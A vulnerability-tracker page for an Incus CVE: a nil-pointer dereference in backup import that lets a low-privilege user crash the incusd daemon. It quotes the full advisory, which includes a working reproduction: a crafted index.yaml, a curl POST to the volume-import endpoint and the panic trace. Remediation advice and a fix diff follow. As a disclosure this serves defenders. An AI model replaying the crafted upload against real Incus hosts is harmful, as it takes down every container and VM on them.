Skip to main content

Incus CVE-2026-48756

| EUVDEUVD-2026-63974 LOW
NULL Pointer Dereference (CWE-476)
2026-06-26 https://github.com/lxc/incus GHSA-xhqx-mgh3-3h7q
2.1
CVSS 4.0 · Vendor: https://github.com/lxc/incus
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain `can_create_storage_volumes` credential on any project
  2. Delivery
    Craft backup tarball with volume_snapshots entry missing expires_at
  3. Exploit
    POST tarball to /1.0/storage-pools/<pool>/volumes/custom
  4. Install
    s==nil guard passes (snapshot pointer is non-nil)
  5. C2
    Unguarded *snapshot.ExpiresAt dereference panics at backend.go:7731
  6. Execute
    Unhandled Go panic kills entire incusd process
  7. Impact
    Persistent DoS until operator restarts daemon

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A10:2025 - Mishandling of Exceptional Conditions
ASVS 5.0
V16 - Security Logging and Error Handling Null pointer safety, defensive checks
MITRE ATT&CK

1 technique across 1 tactic: Impact

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must be authenticated to Incus via TLS client certificate, OIDC token, or local unix socket access, and must hold the can_create_storage_volumes entitlement on at least one project - this is an explicitly delegated non-admin permission, not a default for all users. The malicious backup tarball must contain a non-nil snapshot object in volume_snapshots (so the s == nil guard at line 7712 passes) with the expires_at YAML field absent (making snapshot.ExpiresAt a nil *time.Time). No specific storage pool type, platform version beyond the affected software range, or non-default configuration is required - the vulnerability reproduces against the default dir pool on a standard Incus installation. Exploitation is bounded by: (1) the can_create_storage_volumes entitlement must be explicitly granted - unauthenticated or read-only users cannot exploit this; (2) the attack requires access to the Incus API endpoint on port 8443 or the unix socket at /var/lib/incus/unix.socket.

Impact

No official NVD CVSS vector or EPSS score is present in the available data; the reporter estimates 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H), which is consistent with the described attack path. The CVE is not listed in the CISA KEV catalog at time of analysis, indicating no confirmed mass exploitation. However, a functional proof-of-concept was confirmed by the reporter against Incus 7.0.0 and bundled with the advisory, so real-world exploitability is high for any attacker who already holds the can_create_storage_volumes entitlement. The primary limiting factor is authentication: unauthenticated external attackers cannot exploit this. The practical blast radius exceeds the raw A:H CVSS score in clustered deployments, since a crashed incusd member aborts in-flight operations for all containers and VMs on that host. The v6.0.x LTS branch is reported to carry a compounded risk - it lacks even the parent s == nil guard from CVE-2026-40197 - but LTS-specific fix availability is not independently confirmed from the provided data.

Exploit ScenarioDerived

An attacker with a valid Incus credential bearing can_create_storage_volumes on any project constructs a 479-byte backup tarball containing a backup/index.yaml with a volume_snapshots entry that has name and description set but omits the expires_at field entirely. A single curl POST of this tarball to POST /1.0/storage-pools/default/volumes/custom causes incusd to dereference the nil *time.Time pointer at backend.go:7731, triggering a Go panic that terminates the entire daemon; repeated POSTs constitute a persistent denial of service that requires operator intervention to recover. A reporter-supplied proof-of-concept shell script and tarball confirmed this end-to-end against a running Incus 7.0.0 daemon.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 26, 2026

Nil pointer dereference in the Incus daemon (incusd) CreateCustomVolumeFromBackup function crashes the entire daemon process when a crafted backup tarball omits the expires_at field on any volume snapshot entry. Any authenticated user holding the can_create_storage_volumes entitlement on any project - below the admin tier - can trigger this with a single POST to the storage backup import endpoint, making it a persistent denial-of-service against all container, VM, and storage operations on the affected host or cluster member. A proof-of-concept exploit (479-byte tarball, confirmed against Incus 7.0.0) was bundled with the advisory; no public exploit identified at time of analysis beyond the reporter-supplied PoC. Fix is available in 7.1.0.

RemediationAI

Upgrade to Incus 7.1.0 or later, which contains the upstream fix per the advisory at https://github.com/lxc/incus/security/advisories/GHSA-xhqx-mgh3-3h7q. For v6.0.x LTS deployments, also verify that the parent fix for CVE-2026-40197 (GHSA-r7w7-mmxr-47r9) is applied and monitor the v6.0.x release channel for a backported fix. If an immediate upgrade is not possible, restrict the can_create_storage_volumes entitlement to the minimum set of fully trusted users, which eliminates the attack surface for unprivileged project members; note that this prevents legitimate users from restoring custom volume backups until patched. Additionally, consider blocking the backup import request pattern (POST /1.0/storage-pools/*/volumes/custom with Content-Type: application/octet-stream) at a reverse proxy or firewall in front of the Incus API port (default 8443) for any externally-reachable deployments - this blocks the import workflow entirely but prevents daemon crash from crafted tarballs.

Affected VersionsENISA

incus < 7.1.0

Affected Packages

go github.com/lxc/incus no fix
go github.com/lxc/incus/v6 no fix
go github.com/lxc/incus/v7 fix: 7.1.0
go github.com/lxc/incus/v7/cmd/incusd fix: 7.1.0
euvd incus fix: 7.1.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 5 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Incus is an open-source container and VM hypervisor written in Go (the successor to LXD, maintained by the Linux Containers project). The affected code is in internal/server/storage/backend.go at line 7731, inside (*backend).CreateCustomVolumeFromBackup. The ExpiresAt field of StorageVolumeSnapshot is typed as *time.Time in shared/api/storage_pool_volume_snapshot.go, making it a nullable pointer that is legitimately absent when a snapshot has no expiry. The parent fix for CVE-2026-40197 (GHSA-r7w7-mmxr-47r9) added a nil check for the snapshot pointer itself (if s == nil) but left the *snapshot.ExpiresAt dereference 19 lines later (line 7731) unguarded - an asymmetric fix. Every other dereference site in the same file (lines 909-910, 1134-1135, 1422-1423) already applies the safe if snapshot.ExpiresAt != nil guard pattern. CWE-476 (Null Pointer Dereference) is the root cause. Because Go panics propagate up the goroutine call stack and no recover() is installed in the incusd operation runner (operations/operations.go:307), the unhandled panic terminates the entire incusd process rather than just the individual request goroutine.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/lxc/incus) PRIMARY 2.1 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P
vuln.today AI 6.5 MEDIUM

Network-reachable REST API with low complexity; requires explicitly-granted low-privilege credential (`can_create_storage_volumes`); sole impact is total availability loss of the incusd daemon with no confidentiality or integrity effect.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/lxc/incus).

CVSS VectorVendor: https://github.com/lxc/incus

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

1
CVSS changed
Aug 21, 2026 - 15:22 NVD
2.1 (LOW)

DescriptionCVE.org

Summary

(*backend).CreateCustomVolumeFromBackup in internal/server/storage/backend.go contains an unguarded *time.Time dereference on the ExpiresAt field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with can_create_storage_volumes permission on any project can crash the incusd daemon by uploading a backup tarball whose volume_snapshots[*].expires_at field is absent.

This is a sibling-field variant of GHSA-r7w7-mmxr-47r9 (CVE-2026-40197). Commit 985a1dedf9f3e7ba729c93b654905ed510de25c2 added if s == nil at the top of the loop body, but did not guard the adjacent *snapshot.ExpiresAt deref 19 lines later. Every other consumer of Config.VolumeSnapshots[i].ExpiresAt in this same file already gates the deref with a nil-check - the asymmetric guard is the bug.

Vulnerable code

internal/server/storage/backend.go, CreateCustomVolumeFromBackup:

go
// Line 7710-7714 - the parent fix from GHSA-r7w7
for _, s := range srcBackup.Config.VolumeSnapshots {
    if s == nil {
        return errors.New("Bad snapshot definition found in index")
    }
    snapshot := s
    snapName := snapshot.Name
    // ...
    // Line 7731 - UNGUARDED *time.Time deref:
    err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description,
        snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt,
        *snapshot.ExpiresAt,   // <-- panics when expires_at omitted in YAML
        snapVol.ContentType(), true, true)

ExpiresAt is declared *time.Time (shared/api/storage_pool_volume_snapshot.go:21,88). Every other consumer in the same file already uses the safe pattern:

LineCodeGuarded?
909-910CreateInstanceFromBackupYES
1134-1135refresh pathYES
1422-1423migration pathYES
7731CreateCustomVolumeFromBackupNO

Reach

  1. Attacker is an authenticated client (TLS cert, OIDC, or unix socket) with the can_create_storage_volumes entitlement on any project. Same auth gate as parent GHSA-r7w7.
  2. POST /1.0/storage-pools/<pool>/volumes/custom with Content-Type: application/octet-stream and X-Incus-name: <name>.
  3. Body is a tar containing backup/index.yaml with type: custom, a non-nil volume: block, and volume_snapshots: [{name: snap0}] (no expires_at field).
  4. cmd/incusd/storage_volumes.go:storagePoolVolumesPost -> backup.GetInfo parses the yaml -> pool.CreateCustomVolumeFromBackup -> the s == nil guard at 7712 passes (snapshot pointer is non-nil) -> *snapshot.ExpiresAt on line 7731 panics on the nil *time.Time.
  5. No recover() is installed in the operation runner, so the panic kills the entire incusd process. Repeated POSTs are a persistent denial of service.

Minimal backup/index.yaml:

yaml
name: poc-vol
backend: dir
pool: default
type: custom
optimized: false
optimized_header: false
snapshots: [snap0]
config:
  volume: {name: poc-vol, type: custom, content_type: filesystem, config: {}}
  volume_snapshots:
    - name: snap0
      description: snap0
      config: {}
# expires_at intentionally omitted

Proof of concept (end-to-end against running daemon)

Bundled in the report: make_backup.sh + the resulting 479-byte poc-vol.tar.gz.

Tested against incus 7.0.0 (zabbly latest GA at time of report; build 1:0~ubuntu24.04~202605201355) inside a privileged Ubuntu 24.04 container with the default dir storage pool.

bash
$ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \
    --data-binary @/tmp/poc-vol.tar.gz \
    -H 'Content-Type: application/octet-stream' \
    -H 'X-Incus-name: poc-vol' \
    http://incus/1.0/storage-pools/default/volumes/custom
{"type":"async","status":"Operation created","status_code":100,...}

$ ps -ef | grep incusd | grep -v grep
# process is GONE

Daemon panic from /tmp/incus.out:

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x162b938]

goroutine 422 [running]:
github.com/lxc/incus/v7/internal/server/storage.(*backend).CreateCustomVolumeFromBackup(...)
    /build/incus/internal/server/storage/backend.go:7731 +0xb48
main.createStoragePoolVolumeFromBackup.func7(...)
    /build/incus/cmd/incusd/storage_volumes.go:2915 +0x290
github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...)
    /build/incus/internal/server/operations/operations.go:307 +0x2c
created by github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start in goroutine 408
    /build/incus/internal/server/operations/operations.go:306 +0x168

Stack frame backend.go:7731 is the literal *snapshot.ExpiresAt line. Same line in v6.0.x LTS is backend.go:7271 (also panics; v6.0.x additionally lacks the s == nil parent fix so a single nil snapshot pointer also panics there).

Impact

  • Severity: denial of service against the entire incusd process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process.
  • Privileges required: any authenticated user with can_create_storage_volumes on any project. Not behind the admin tier.
  • Network attack surface: the Incus REST API on :8443 or the unix socket.
  • CWE-476 - Nil-Pointer Dereference. CVSS estimate: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

Suggested fix

Mirror the guard pattern already in use at lines 909-910 / 1134-1135 / 1422-1423:

diff
--- a/internal/server/storage/backend.go
+++ b/internal/server/storage/backend.go
@@ -7728,9 +7728,14 @@ func (b *backend) CreateCustomVolumeFromBackup(...) error {
         snapVol := b.GetVolume(drivers.VolumeTypeCustom, drivers.ContentType(srcBackup.Config.Volume.ContentType), snapVolStorageName, snapshot.Config)

         // Validate config and create database entry for new storage volume.
         // Strip unsupported config keys (in case the export was made from a different type of storage pool).
-        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true)
+        var snapExpiryDate time.Time
+        if snapshot.ExpiresAt != nil {
+            snapExpiryDate = *snapshot.ExpiresAt
+        }
+
+        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapExpiryDate, snapVol.ContentType(), true, true)
         if err != nil {
             return err
         }

Reporter notes

Reported via Privately-Reported Vulnerability against lxc/incus by tonghuaroot.

Threat Intelligence Overview

EPSS Score
0.2%
Top 86% exploitable
Prevalence
Low
niche open-source container manager, limited enterprise production footprint
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Low

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

A null pointer dereference occurs when a program attempts to access memory through a pointer that has been set to NULL (address 0x0).

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy